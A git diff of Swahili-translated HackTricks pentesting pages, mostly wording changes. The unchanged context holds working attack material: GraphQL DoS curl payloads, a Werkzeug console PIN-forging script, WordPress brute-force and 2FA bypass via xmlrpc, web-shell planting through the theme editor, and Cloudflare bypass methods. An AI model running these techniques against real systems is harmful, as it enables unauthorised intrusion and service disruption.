**Uthibitisho wa Uwezo wa Kuongeza Maagizo** hutokea wakati seva ya GraphQL inaruhusu maswali yenye maagizo mengi, yaliyorudiwa. Hii inaweza kuleta mzigo kwa parser na mtendaji wa seva, hasa ikiwa seva inashughulikia mara kwa mara mantiki ile ile ya maagizo. Bila uthibitisho sahihi au mipaka, mshambuliaji anaweza kutumia hii kwa kuunda swali lenye maagizo mengi yaliyorudiwa ili kuanzisha matumizi makubwa ya rasilimali au kumbukumbu, na kusababisha **Denial of Service (DoS)**.
|
||||
**Udhaifu wa Kuongeza Maagizo** hutokea wakati seva ya GraphQL inaruhusu maswali yenye maagizo mengi, yaliyorudiwa. Hii inaweza kuleta mzigo kwa parser na executor wa seva, hasa ikiwa seva inashughulikia mara kwa mara mantiki ile ile ya maagizo. Bila uthibitisho au mipaka sahihi, mshambuliaji anaweza kutumia hii kwa kuunda swali lenye maagizo mengi yaliyorudiwa ili kusababisha matumizi makubwa ya rasilimali au kumbukumbu, na kusababisha **Denial of Service (DoS)**.
|
||||
```bash
|
||||
# Test provided by https://github.com/dolevf/graphql-cop
|
||||
curl -X POST -H "User-Agent: graphql-cop/1.13" \
|
||||
@ -522,7 +521,7 @@ curl -X POST -H "User-Agent: graphql-cop/1.13" \
|
||||
-d '{"query": "query cop { __typename @aa@aa@aa@aa@aa@aa@aa@aa@aa@aa }", "operationName": "cop"}' \
|
||||
'https://example.com/graphql'
|
||||
```
|
||||
Kumbuka kwamba katika mfano uliopita `@aa` ni mwelekeo wa kawaida ambao **huenda usijatangazwe**. Mwelekeo wa kawaida ambao mara nyingi upo ni **`@include`**:
|
||||
Kumbuka kwamba katika mfano uliopita `@aa` ni mwelekeo wa kawaida ambao **huenda usijulikane**. Mwelekeo wa kawaida ambao mara nyingi upo ni **`@include`**:
|
||||
```bash
|
||||
curl -X POST \
|
||||
-H "Content-Type: application/json" \
|
||||
@ -538,9 +537,9 @@ curl -X POST \
|
||||
```
|
||||
Na kisha **tumia baadhi ya zile za kawaida**.
|
||||
|
||||
### **Uthibitisho wa Ukarabati wa Sehemu**
|
||||
### **Uthibitisho wa Ukarabati wa Uwanja**
|
||||
|
||||
**Uthibitisho wa Ukarabati wa Sehemu** ni udhaifu ambapo seva ya GraphQL inaruhusu maswali yenye sehemu sawa kurudiwa kupita kiasi. Hii inamfanya seva kutatua sehemu hiyo kwa njia isiyo ya lazima kwa kila mfano, ikitumia rasilimali kubwa (CPU, kumbukumbu, na simu za hifadhidata). Mshambuliaji anaweza kuunda maswali yenye mamia au maelfu ya sehemu zilizorudiwa, na kusababisha mzigo mkubwa na huenda ikasababisha **Denial of Service (DoS)**.
|
||||
**Ukarabati wa Uwanja** ni udhaifu ambapo seva ya GraphQL inaruhusu maswali yenye uwanja sawa kurudiwa mara nyingi. Hii inamfanya seva kutatua uwanja kwa njia isiyo ya lazima kwa kila mfano, ikitumia rasilimali nyingi (CPU, kumbukumbu, na simu za hifadhidata). Mshambuliaji anaweza kuunda maswali yenye mikoa mia au maelfu ya viwanja vilivyorejelewa, na kusababisha mzigo mkubwa na huenda ikasababisha **Ukatishaji wa Huduma (DoS)**.
|
||||
```bash
|
||||
# Test provided by https://github.com/dolevf/graphql-cop
|
||||
curl -X POST -H "User-Agent: graphql-cop/1.13" -H "Content-Type: application/json" \
|
||||
@ -551,15 +550,15 @@ curl -X POST -H "User-Agent: graphql-cop/1.13" -H "Content-Type: application/jso
|
||||
|
||||
### Vulnerability scanners
|
||||
|
||||
- [https://github.com/dolevf/graphql-cop](https://github.com/dolevf/graphql-cop): Jaribu makosa ya kawaida ya usanidi wa mwisho wa graphql
|
||||
- [https://github.com/assetnote/batchql](https://github.com/assetnote/batchql): Skripti ya ukaguzi wa usalama wa GraphQL yenye lengo la kufanya maswali na mabadiliko ya kundi la GraphQL.
|
||||
- [https://github.com/dolevf/graphql-cop](https://github.com/dolevf/graphql-cop): Jaribu mipangilio ya kawaida isiyo sahihi ya graphql endpoints
|
||||
- [https://github.com/assetnote/batchql](https://github.com/assetnote/batchql): Skripti ya ukaguzi wa usalama wa GraphQL yenye lengo la kufanya maswali na mabadiliko ya kundi ya GraphQL.
|
||||
- [https://github.com/dolevf/graphw00f](https://github.com/dolevf/graphw00f): Tambua fingerprint ya graphql inayotumika
|
||||
- [https://github.com/gsmith257-cyber/GraphCrawler](https://github.com/gsmith257-cyber/GraphCrawler): Zana inayoweza kutumika kukamata schemas na kutafuta data nyeti, kujaribu idhini, nguvu za kikatili schemas, na kupata njia za aina fulani.
|
||||
- [https://blog.doyensec.com/2020/03/26/graphql-scanner.html](https://blog.doyensec.com/2020/03/26/graphql-scanner.html): Inaweza kutumika kama standalone au [Burp extension](https://github.com/doyensec/inql).
|
||||
- [https://github.com/swisskyrepo/GraphQLmap](https://github.com/swisskyrepo/GraphQLmap): Inaweza kutumika kama mteja wa CLI pia kuendesha mashambulizi
|
||||
- [https://gitlab.com/dee-see/graphql-path-enum](https://gitlab.com/dee-see/graphql-path-enum): Zana inayoorodhesha njia tofauti za **kufikia aina fulani katika schema ya GraphQL**.
|
||||
- [https://github.com/doyensec/GQLSpection](https://github.com/doyensec/GQLSpection): Mfuasi wa Standalone na CLI Modes ya InQL
|
||||
- [https://github.com/doyensec/inql](https://github.com/doyensec/inql): Burp extension kwa ajili ya majaribio ya juu ya GraphQL. _**Scanner**_ ni msingi wa InQL v5.0, ambapo unaweza kuchambua mwisho wa GraphQL au faili ya schema ya ndani ya eneo. Inajenga kiotomatiki maswali na mabadiliko yote yanayowezekana, ikiyapanga katika mtazamo ulio na muundo kwa ajili ya uchambuzi wako. Kipengele cha _**Attacker**_ kinakuruhusu kuendesha mashambulizi ya kundi la GraphQL, ambayo yanaweza kuwa ya manufaa kwa kukwepa mipaka ya kiwango iliyotekelezwa vibaya.
|
||||
- [https://github.com/doyensec/inql](https://github.com/doyensec/inql): Burp extension kwa ajili ya majaribio ya juu ya GraphQL. _**Scanner**_ ni msingi wa InQL v5.0, ambapo unaweza kuchambua endpoint ya GraphQL au faili ya schema ya ndani ya eneo. Inajenga kiotomatiki maswali na mabadiliko yote yanayowezekana, ikiyapanga katika mtazamo ulio na muundo kwa ajili ya uchambuzi wako. Kipengele cha _**Attacker**_ kinakuwezesha kuendesha mashambulizi ya kundi ya GraphQL, ambayo yanaweza kuwa ya manufaa kwa kukwepa mipaka ya kiwango iliyotekelezwa vibaya.
|
||||
- [https://github.com/nikitastupin/clairvoyance](https://github.com/nikitastupin/clairvoyance): Jaribu kupata schema hata ikiwa uchambuzi umezimwa kwa kutumia msaada wa baadhi ya hifadhidata za Graphql ambazo zitapendekeza majina ya mabadiliko na vigezo.
|
||||
|
||||
### Clients
|
||||
@ -569,7 +568,9 @@ curl -X POST -H "User-Agent: graphql-cop/1.13" -H "Content-Type: application/jso
|
||||
|
||||
### Automatic Tests
|
||||
|
||||
{% embed url="https://graphql-dashboard.herokuapp.com/" %}
|
||||
{{#ref}}
|
||||
https://graphql-dashboard.herokuapp.com/
|
||||
{{#endref}}
|
||||
|
||||
- Video inayoelezea AutoGraphQL: [https://www.youtube.com/watch?v=JJmufWfVvyU](https://www.youtube.com/watch?v=JJmufWfVvyU)
|
||||
|
||||
@ -583,5 +584,4 @@ curl -X POST -H "User-Agent: graphql-cop/1.13" -H "Content-Type: application/jso
|
||||
- [**https://medium.com/@the.bilal.rizwan/graphql-common-vulnerabilities-how-to-exploit-them-464f9fdce696**](https://medium.com/@the.bilal.rizwan/graphql-common-vulnerabilities-how-to-exploit-them-464f9fdce696)
|
||||
- [**https://portswigger.net/web-security/graphql**](https://portswigger.net/web-security/graphql)
|
||||
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
@ -35,13 +35,15 @@ echo "Checking $ir"
|
||||
prips $ir | hakoriginfinder -h "$DOMAIN"
|
||||
done
|
||||
```
|
||||
## Kufichua Cloudflare kutoka kwa Miundombinu ya Wingu
|
||||
## Kufichua Cloudflare kutoka kwa miundombinu ya wingu
|
||||
|
||||
Kumbuka kwamba hata kama hii ilifanywa kwa mashine za AWS, inaweza kufanywa kwa mtoa huduma mwingine yeyote wa wingu.
|
||||
|
||||
Kwa maelezo bora ya mchakato huu angalia:
|
||||
|
||||
{% embed url="https://trickest.com/blog/cloudflare-bypass-discover-ip-addresses-aws/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
{{#ref}}
|
||||
https://trickest.com/blog/cloudflare-bypass-discover-ip-addresses-aws/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks
|
||||
{{#endref}}
|
||||
```bash
|
||||
# Find open ports
|
||||
sudo masscan --max-rate 10000 -p80,443 $(curl -s https://ip-ranges.amazonaws.com/ip-ranges.json | jq -r '.prefixes[] | select(.service=="EC2") | .ip_prefix' | tr '\n' ' ') | grep "open" > all_open.txt
|
||||
@ -101,17 +103,17 @@ Kumekuwa na idadi ya wasaidizi wa Cloudflare waliotengenezwa:
|
||||
- [cloudflare-bypass](https://github.com/devgianlu/cloudflare-bypass) \[Archived]
|
||||
- [CloudflareSolverRe](https://github.com/RyuzakiH/CloudflareSolverRe)
|
||||
|
||||
### Vivinjari vya Kichwa vya Fortified <a href="#option-4-scrape-with-fortified-headless-browsers" id="option-4-scrape-with-fortified-headless-browsers"></a>
|
||||
### Vivinjari vya Kichwa Vilivyoboreshwa <a href="#option-4-scrape-with-fortified-headless-browsers" id="option-4-scrape-with-fortified-headless-browsers"></a>
|
||||
|
||||
Tumia kivinjari kisicho na kichwa ambacho hakigunduliwi kama kivinjari cha kiotomatiki (huenda ukahitaji kukiboresha kwa hilo). Chaguzi zingine ni:
|
||||
Tumia kivinjari kisichokuwa na kichwa ambacho hakigunduliwi kama kivinjari cha kiotomatiki (huenda ukahitaji kukiboresha kwa hilo). Chaguzi zingine ni:
|
||||
|
||||
- **Puppeteer:** Plugin ya [stealth](https://github.com/berstend/puppeteer-extra/tree/master/packages/puppeteer-extra-plugin-stealth) kwa [puppeteer](https://github.com/puppeteer/puppeteer).
|
||||
- **Playwright:** Plugin ya [stealth](https://www.npmjs.com/package/playwright-stealth) inakuja kwa Playwright hivi karibuni. Fuata maendeleo [hapa](https://github.com/berstend/puppeteer-extra/issues/454) na [hapa](https://github.com/berstend/puppeteer-extra/tree/master/packages/playwright-extra).
|
||||
- **Selenium:** [undetected-chromedriver](https://github.com/ultrafunkamsterdam/undetected-chromedriver) ni patch iliyoboreshwa ya Selenium Chromedriver.
|
||||
|
||||
### Proxy ya Smart Pamoja na Kupita kwa Cloudflare <a href="#option-5-smart-proxy-with-cloudflare-built-in-bypass" id="option-5-smart-proxy-with-cloudflare-built-in-bypass"></a>
|
||||
### Proxy Smart Pamoja na Kupita kwa Cloudflare Iliojumuishwa <a href="#option-5-smart-proxy-with-cloudflare-built-in-bypass" id="option-5-smart-proxy-with-cloudflare-built-in-bypass"></a>
|
||||
|
||||
**Proxy za Smart** zinasasishwa mara kwa mara na kampuni maalum, zikilenga kuzidi hatua za usalama za Cloudflare (kama hiyo ni biashara yao).
|
||||
**Proxy smart** zinasasishwa mara kwa mara na kampuni maalum, zikilenga kuzidi hatua za usalama za Cloudflare (kama hiyo ndiyo biashara yao).
|
||||
|
||||
Baadhi yao ni:
|
||||
|
||||
@ -122,13 +124,13 @@ Baadhi yao ni:
|
||||
|
||||
Kwa wale wanaotafuta suluhisho lililoboreshwa, [ScrapeOps Proxy Aggregator](https://scrapeops.io/proxy-aggregator/) inajitokeza. Huduma hii inajumuisha zaidi ya watoa huduma 20 wa proxy katika API moja, ikichagua kiotomatiki proxy bora na yenye gharama nafuu kwa maeneo yako ya lengo, hivyo kutoa chaguo bora kwa kuzunguka ulinzi wa Cloudflare.
|
||||
|
||||
### Uhandisi wa Kinyume wa Ulinzi wa Cloudflare Dhidi ya Bots <a href="#option-6-reverse-engineer-cloudflare-anti-bot-protection" id="option-6-reverse-engineer-cloudflare-anti-bot-protection"></a>
|
||||
### Uhandisi wa Nyuma wa Ulinzi wa Cloudflare Dhidi ya Bots <a href="#option-6-reverse-engineer-cloudflare-anti-bot-protection" id="option-6-reverse-engineer-cloudflare-anti-bot-protection"></a>
|
||||
|
||||
Uhandisi wa kinyume wa hatua za Cloudflare dhidi ya bots ni mbinu inayotumiwa na watoa huduma wa proxy smart, inayofaa kwa kuchora wavuti kwa wingi bila gharama kubwa ya kuendesha vivinjari vingi visivyo na kichwa.
|
||||
Uhandisi wa nyuma wa hatua za Cloudflare dhidi ya bots ni mbinu inayotumiwa na watoa huduma wa proxy smart, inayofaa kwa kuchora wavuti kwa wingi bila gharama kubwa ya kuendesha vivinjari vingi visivyo na kichwa.
|
||||
|
||||
**Faida:** Njia hii inaruhusu kuunda kupita kwa ufanisi mkubwa ambayo inazingatia hasa ukaguzi wa Cloudflare, bora kwa operesheni kubwa.
|
||||
**Faida:** Njia hii inaruhusu kuunda kupita kwa ufanisi mkubwa ambayo inazingatia hasa ukaguzi wa Cloudflare, bora kwa shughuli kubwa.
|
||||
|
||||
**Hasara:** Upande mbaya ni ugumu wa kuelewa na kudanganya mfumo wa Cloudflare wa kupambana na bots ambao umefichwa kwa makusudi, ukihitaji juhudi endelevu kujaribu mikakati tofauti na kuboresha kupita kadri Cloudflare inavyoboresha ulinzi wake.
|
||||
**Hasara:** Upande mbaya ni ugumu wa kuelewa na kudanganya mfumo wa Cloudflare wa kupambana na bots ambao umefichwa makusudi, ukihitaji juhudi endelevu kujaribu mikakati tofauti na kuboresha kupita kadri Cloudflare inavyoboresha ulinzi wake.
|
||||
|
||||
Pata maelezo zaidi kuhusu jinsi ya kufanya hivi katika [makala asilia](https://scrapeops.io/web-scraping-playbook/how-to-bypass-cloudflare/).
|
||||
|
||||
|
@ -2,7 +2,6 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
## Console RCE
|
||||
|
||||
Ikiwa debug imewashwa unaweza kujaribu kufikia `/console` na kupata RCE.
|
||||
@ -32,13 +31,13 @@ Ili kutumia PIN ya console, seti mbili za mabadiliko, `probably_public_bits` na
|
||||
#### **`probably_public_bits`**
|
||||
|
||||
- **`username`**: Inahusisha mtumiaji aliyeanzisha kikao cha Flask.
|
||||
- **`modname`**: Kawaida hupewa jina la `flask.app`.
|
||||
- **`modname`**: Kawaida inaitwa `flask.app`.
|
||||
- **`getattr(app, '__name__', getattr(app.__class__, '__name__'))`**: Kawaida inatatua kuwa **Flask**.
|
||||
- **`getattr(mod, '__file__', None)`**: Inawakilisha njia kamili ya `app.py` ndani ya directory ya Flask (mfano, `/usr/local/lib/python3.5/dist-packages/flask/app.py`). Ikiwa `app.py` haitumiki, **jaribu `app.pyc`**.
|
||||
|
||||
#### **`private_bits`**
|
||||
|
||||
- **`uuid.getnode()`**: Inapata anwani ya MAC ya mashine ya sasa, huku `str(uuid.getnode())` ikitafsiriwa kuwa katika muundo wa desimali.
|
||||
- **`uuid.getnode()`**: Inapata anwani ya MAC ya mashine ya sasa, huku `str(uuid.getnode())` ikitafsiriwa kuwa muundo wa desimali.
|
||||
|
||||
- Ili **kubaini anwani ya MAC ya seva**, mtu lazima atambue interface ya mtandao inayotumika na app (mfano, `ens3`). Katika hali za kutokuwa na uhakika, **leak `/proc/net/arp`** ili kupata kitambulisho cha kifaa, kisha **toa anwani ya MAC** kutoka **`/sys/class/net/<device id>/address`**.
|
||||
- Kubadilisha anwani ya MAC ya hexadecimal kuwa desimali kunaweza kufanywa kama inavyoonyeshwa hapa chini:
|
||||
@ -95,7 +94,7 @@ try:
|
||||
|
||||
Baada ya kukusanya data zote muhimu, skripti ya exploit inaweza kutekelezwa ili kuzalisha PIN ya konsoli ya Werkzeug:
|
||||
|
||||
Baada ya kukusanya data zote muhimu, skripti ya exploit inaweza kutekelezwa ili kuzalisha PIN ya konsoli ya Werkzeug. Skripti inatumia `probably_public_bits` na `private_bits` zilizokusanywa ili kuunda hash, ambayo kisha inapitia mchakato zaidi ili kutoa PIN ya mwisho. Hapa chini kuna msimbo wa Python wa kutekeleza mchakato huu:
|
||||
Baada ya kukusanya data zote muhimu, skripti ya exploit inaweza kutekelezwa ili kuzalisha PIN ya konsoli ya Werkzeug. Skripti inatumia `probably_public_bits` na `private_bits` zilizokusanywa ili kuunda hash, ambayo kisha inapata usindikaji zaidi ili kutoa PIN ya mwisho. Hapa chini kuna msimbo wa Python wa kutekeleza mchakato huu:
|
||||
```python
|
||||
import hashlib
|
||||
from itertools import chain
|
||||
@ -141,10 +140,10 @@ rv = num
|
||||
|
||||
print(rv)
|
||||
```
|
||||
Hii script inazalisha PIN kwa kubadilisha bits zilizounganishwa, kuongeza chumvi maalum (`cookiesalt` na `pinsalt`), na kuunda muundo wa matokeo. Ni muhimu kutambua kwamba thamani halisi za `probably_public_bits` na `private_bits` zinahitaji kupatikana kwa usahihi kutoka kwa mfumo wa lengo ili kuhakikisha kwamba PIN iliyozalishwa inalingana na ile inayotarajiwa na konsole ya Werkzeug.
|
||||
Hii script inazalisha PIN kwa kuhash bits zilizounganishwa, kuongeza chumvi maalum (`cookiesalt` na `pinsalt`), na kuunda muundo wa matokeo. Ni muhimu kutambua kwamba thamani halisi za `probably_public_bits` na `private_bits` zinahitaji kupatikana kwa usahihi kutoka kwa mfumo wa lengo ili kuhakikisha kwamba PIN iliyozalishwa inalingana na ile inayotarajiwa na konsole ya Werkzeug.
|
||||
|
||||
> [!TIP]
|
||||
> Ikiwa uko kwenye **toleo la zamani** la Werkzeug, jaribu kubadilisha **algorithms ya hashing kuwa md5** badala ya sha1.
|
||||
> Ikiwa uko kwenye **toleo la zamani** la Werkzeug, jaribu kubadilisha **algorithms ya kuhash kwa md5** badala ya sha1.
|
||||
|
||||
## Makarakteri ya Unicode ya Werkzeug
|
||||
|
||||
@ -154,7 +153,9 @@ Hii ni kwa sababu, katika Werkzeug inawezekana kutuma wahusika wengine wa **Unic
|
||||
|
||||
## Utekelezaji wa Kiotomatiki
|
||||
|
||||
{% embed url="https://github.com/Ruulian/wconsole_extractor" %}
|
||||
{{#ref}}
|
||||
https://github.com/Ruulian/wconsole_extractor
|
||||
{{#endref}}
|
||||
|
||||
## Marejeleo
|
||||
|
||||
@ -163,5 +164,4 @@ Hii ni kwa sababu, katika Werkzeug inawezekana kutuma wahusika wengine wa **Unic
|
||||
- [**https://github.com/pallets/werkzeug/issues/2833**](https://github.com/pallets/werkzeug/issues/2833)
|
||||
- [**https://mizu.re/post/twisty-python**](https://mizu.re/post/twisty-python)
|
||||
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
@ -89,7 +89,7 @@ Huenda usiweze kupata Plugins na Mandhari zote zinazowezekana. Ili kugundua zote
|
||||
```bash
|
||||
curl -s -I -X GET http://blog.example.com/?author=1
|
||||
```
|
||||
Ikiwa majibu ni **200** au **30X**, hiyo ina maana kwamba id ni **halali**. Ikiwa jibu ni **400**, basi id ni **batili**.
|
||||
Ikiwa majibu ni **200** au **30X**, hiyo ina maana kwamba id ni **halali**. Ikiwa jibu ni **400**, basi id ni **isiyo halali**.
|
||||
|
||||
- **wp-json:** Unaweza pia kujaribu kupata taarifa kuhusu watumiaji kwa kuuliza:
|
||||
```bash
|
||||
@ -174,7 +174,7 @@ Pia kuna **njia ya haraka** ya kujaribu nguvu za nywila kwa kutumia **`system.mu
|
||||
|
||||
**Kupita 2FA**
|
||||
|
||||
Njia hii imekusudiwa kwa programu na si kwa wanadamu, na ni ya zamani, kwa hivyo haiungi mkono 2FA. Hivyo, ikiwa una nywila halali lakini mlango mkuu umewekwa chini ya ulinzi wa 2FA, **huenda ukawa na uwezo wa kutumia xmlrpc.php kuingia na nywila hizo ukipita 2FA**. Kumbuka kwamba huwezi kufanya vitendo vyote unavyoweza kufanya kupitia console, lakini huenda bado ukawa na uwezo wa kufikia RCE kama Ippsec anavyoeleza katika [https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s](https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s)
|
||||
Njia hii imekusudiwa kwa programu na si kwa wanadamu, na ni ya zamani, kwa hivyo haitegemei 2FA. Hivyo, ikiwa una nywila halali lakini mlango mkuu umewekwa chini ya ulinzi wa 2FA, **huenda ukawa na uwezo wa kutumia xmlrpc.php kuingia na nywila hizo ukipita 2FA**. Kumbuka kwamba huwezi kufanya vitendo vyote unavyoweza kufanya kupitia console, lakini huenda bado ukawa na uwezo wa kufikia RCE kama Ippsec anavyoeleza katika [https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s](https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s)
|
||||
|
||||
**DDoS au skanning ya port**
|
||||
|
||||
@ -225,9 +225,11 @@ Hii ndiyo jibu wakati haifanyi kazi:
|
||||
|
||||
## SSRF
|
||||
|
||||
{% embed url="https://github.com/t0gu/quickpress/blob/master/core/requests.go" %}
|
||||
{{#ref}}
|
||||
https://github.com/t0gu/quickpress/blob/master/core/requests.go
|
||||
{{#endref}}
|
||||
|
||||
Chombo hiki kinachunguza ikiwa **methodName: pingback.ping** na kwa njia **/wp-json/oembed/1.0/proxy** na ikiwa ipo, kinajaribu kuzi exploit.
|
||||
Chombo hiki kinachunguza ikiwa **methodName: pingback.ping** na kwa njia **/wp-json/oembed/1.0/proxy** na ikiwa inapatikana, inajaribu kuzi exploit.
|
||||
|
||||
## Vifaa vya Moja kwa Moja
|
||||
```bash
|
||||
@ -244,7 +246,7 @@ return new WP_Error(
|
||||
```
|
||||
## **Panel RCE**
|
||||
|
||||
**Kubadilisha php kutoka kwa mandhari inayotumika (nywila za admin zinahitajika)**
|
||||
**Kubadilisha php kutoka kwa mandhari iliyotumika (nywila za admin zinahitajika)**
|
||||
|
||||
Muonekano → Mhariri wa Mandhari → Kiolezo cha 404 (kushoto)
|
||||
|
||||
@ -252,7 +254,7 @@ Badilisha maudhui kuwa php shell:
|
||||
|
||||
.png>)
|
||||
|
||||
Tafuta mtandaoni jinsi ya kufikia ukurasa huo ulio sasishwa. Katika kesi hii, unapaswa kufikia hapa: [http://10.11.1.234/wp-content/themes/twentytwelve/404.php](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
|
||||
Tafuta mtandaoni jinsi ya kufikia ukurasa huo ulio sasishwa. Katika kesi hii unahitaji kufikia hapa: [http://10.11.1.234/wp-content/themes/twentytwelve/404.php](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
|
||||
|
||||
### MSF
|
||||
|
||||
@ -283,7 +285,7 @@ Bonyeza Procced:
|
||||
|
||||
.png>)
|
||||
|
||||
Labda hii haitafanya chochote kwa wazi, lakini ukitembelea Media, utaona shell yako imepakuliwa:
|
||||
Labda hii haitafanya chochote kwa kuonekana, lakini ukitembelea Media, utaona shell yako imepakuliwa:
|
||||
|
||||
.png>)
|
||||
|
||||
@ -299,20 +301,20 @@ Njia hii inahusisha ufungaji wa plugin mbaya inayojulikana kuwa na udhaifu na in
|
||||
2. **Plugin Installation**:
|
||||
- Tembelea dashibodi ya WordPress, kisha nenda kwa `Dashboard > Plugins > Upload Plugin`.
|
||||
- Pakia faili ya zip ya plugin uliyopakua.
|
||||
3. **Plugin Activation**: Mara plugin inapofanikiwa kufungwa, inapaswa kuanzishwa kupitia dashibodi.
|
||||
3. **Plugin Activation**: Mara plugin inapofanikiwa kufungwa, inapaswa kuamshwa kupitia dashibodi.
|
||||
4. **Exploitation**:
|
||||
- Ikiwa plugin "reflex-gallery" imewekwa na kuanzishwa, inaweza kutumika kwa sababu inajulikana kuwa na udhaifu.
|
||||
- Ikiwa plugin "reflex-gallery" imewekwa na kuamshwa, inaweza kutumika kwa sababu inajulikana kuwa na udhaifu.
|
||||
- Mfumo wa Metasploit unatoa exploit kwa udhaifu huu. Kwa kupakia moduli inayofaa na kutekeleza amri maalum, kikao cha meterpreter kinaweza kuanzishwa, kikitoa ufikiaji usioidhinishwa kwa tovuti.
|
||||
- Inabainishwa kuwa hii ni moja tu ya njia nyingi za kutumia udhaifu wa tovuti ya WordPress.
|
||||
|
||||
Maudhui yanajumuisha msaada wa picha unaoonyesha hatua katika dashibodi ya WordPress kwa ufungaji na uanzishaji wa plugin. Hata hivyo, ni muhimu kutambua kuwa kutumia udhaifu kwa njia hii ni haramu na isiyo ya maadili bila idhini sahihi. Taarifa hii inapaswa kutumika kwa uwajibikaji na tu katika muktadha wa kisheria, kama vile pentesting kwa ruhusa wazi.
|
||||
Maudhui yanajumuisha msaada wa picha unaoonyesha hatua katika dashibodi ya WordPress kwa ufungaji na uhamasishaji wa plugin. Hata hivyo, ni muhimu kutambua kuwa kutumia udhaifu kwa njia hii ni haramu na isiyo ya maadili bila idhini sahihi. Taarifa hii inapaswa kutumika kwa uwajibikaji na tu katika muktadha wa kisheria, kama vile pentesting kwa ruhusa wazi.
|
||||
|
||||
**Kwa hatua za kina zaidi angalia:** [**https://www.hackingarticles.in/wordpress-reverse-shell/**](https://www.hackingarticles.in/wordpress-reverse-shell/)
|
||||
|
||||
## From XSS to RCE
|
||||
|
||||
- [**WPXStrike**](https://github.com/nowak0x01/WPXStrike): _**WPXStrike**_ ni script iliyoundwa kuongeza **Cross-Site Scripting (XSS)** udhaifu hadi **Remote Code Execution (RCE)** au udhaifu mwingine muhimu katika WordPress. Kwa maelezo zaidi angalia [**hiki chapisho**](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html). Inatoa **msaada kwa toleo za Wordpress 6.X.X, 5.X.X na 4.X.X. na inaruhusu:**
|
||||
- _**Privilege Escalation:**_ Kuunda mtumiaji katika WordPress.
|
||||
- [**WPXStrike**](https://github.com/nowak0x01/WPXStrike): _**WPXStrike**_ ni script iliyoundwa kuongeza **Cross-Site Scripting (XSS)** udhaifu hadi **Remote Code Execution (RCE)** au udhaifu mwingine muhimu katika WordPress. Kwa maelezo zaidi angalia [**hiki chapisho**](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html). Inatoa **msaada kwa Versions za Wordpress 6.X.X, 5.X.X na 4.X.X. na inaruhusu:**
|
||||
- _**Privilege Escalation:**_ Inaunda mtumiaji katika WordPress.
|
||||
- _**(RCE) Custom Plugin (backdoor) Upload:**_ Pakia plugin yako ya kawaida (backdoor) kwenye WordPress.
|
||||
- _**(RCE) Built-In Plugin Edit:**_ Hariri Plugins za Built-In katika WordPress.
|
||||
- _**(RCE) Built-In Theme Edit:**_ Hariri Mifumo ya Built-In katika WordPress.
|
||||
@ -336,7 +338,7 @@ Kujua jinsi plugin ya Wordpress inavyoweza kufichua kazi ni muhimu ili kupata ud
|
||||
|
||||
- **`wp_ajax`** 
|
||||
|
||||
Moja ya njia ambazo plugin inaweza kufichua kazi kwa watumiaji ni kupitia waandishi wa AJAX. Hizi zinaweza kuwa na mantiki, udhibiti, au makosa ya uthibitishaji. Aidha, ni kawaida kwamba kazi hizi zitategemea uthibitishaji na ruhusa katika uwepo wa nonce ya wordpress ambayo **mtumiaji yeyote aliyeidhinishwa katika mfano wa Wordpress anaweza kuwa nayo** (bila kujali jukumu lake).
|
||||
Moja ya njia ambazo plugin inaweza kufichua kazi ni kupitia waandishi wa AJAX. Hizi zinaweza kuwa na mantiki, udhibiti, au makosa ya uthibitishaji. Aidha, ni kawaida kwamba kazi hizi zitategemea uthibitishaji na ruhusa katika uwepo wa nonce ya wordpress ambayo **mtumiaji yeyote aliyeidhinishwa katika mfano wa Wordpress anaweza kuwa nayo** (bila kujali nafasi yake).
|
||||
|
||||
Hizi ndizo kazi ambazo zinaweza kutumika kufichua kazi katika plugin:
|
||||
```php
|
||||
@ -346,7 +348,7 @@ add_action( 'wp_ajax_nopriv_action_name', array(&$this, 'function_name'));
|
||||
**Matumizi ya `nopriv` yanaufanya mwisho uweze kupatikana na watumiaji wowote (hata wasio na uthibitisho).**
|
||||
|
||||
> [!CAUTION]
|
||||
> Zaidi ya hayo, ikiwa kazi inachunguza tu uthibitisho wa mtumiaji kwa kutumia kazi `wp_verify_nonce`, kazi hii inachunguza tu kama mtumiaji ameingia, kawaida haiangalii nafasi ya mtumiaji. Hivyo, watumiaji wenye mamlaka ya chini wanaweza kuwa na ufikiaji wa vitendo vya mamlaka ya juu.
|
||||
> Zaidi ya hayo, ikiwa kazi inakagua tu uthibitisho wa mtumiaji kwa kutumia kazi `wp_verify_nonce`, kazi hii inakagua tu kama mtumiaji ameingia, kawaida haiangalii nafasi ya mtumiaji. Hivyo, watumiaji wenye mamlaka ya chini wanaweza kuwa na ufikiaji wa vitendo vya mamlaka ya juu.
|
||||
|
||||
- **REST API**
|
||||
|
||||
@ -392,6 +394,6 @@ Pia, **sakinisha tu plugins na mandhari za WordPress zinazoweza kuaminika**.
|
||||
- Tumia **nywila zenye nguvu** na **2FA**
|
||||
- Mara kwa mara **kagua** ruhusa za watumiaji
|
||||
- **Punguza majaribio ya kuingia** ili kuzuia mashambulizi ya Brute Force
|
||||
- Badilisha jina la faili **`wp-admin.php`** na ruhusu ufikiaji tu ndani au kutoka anwani fulani za IP.
|
||||
- Badilisha jina la faili **`wp-admin.php`** na ruhusu ufikiaji tu ndani au kutoka anwani fulani za IP.
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
@ -2,7 +2,6 @@
|
||||
|
||||
{{#include ./banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
### Host header
|
||||
|
||||
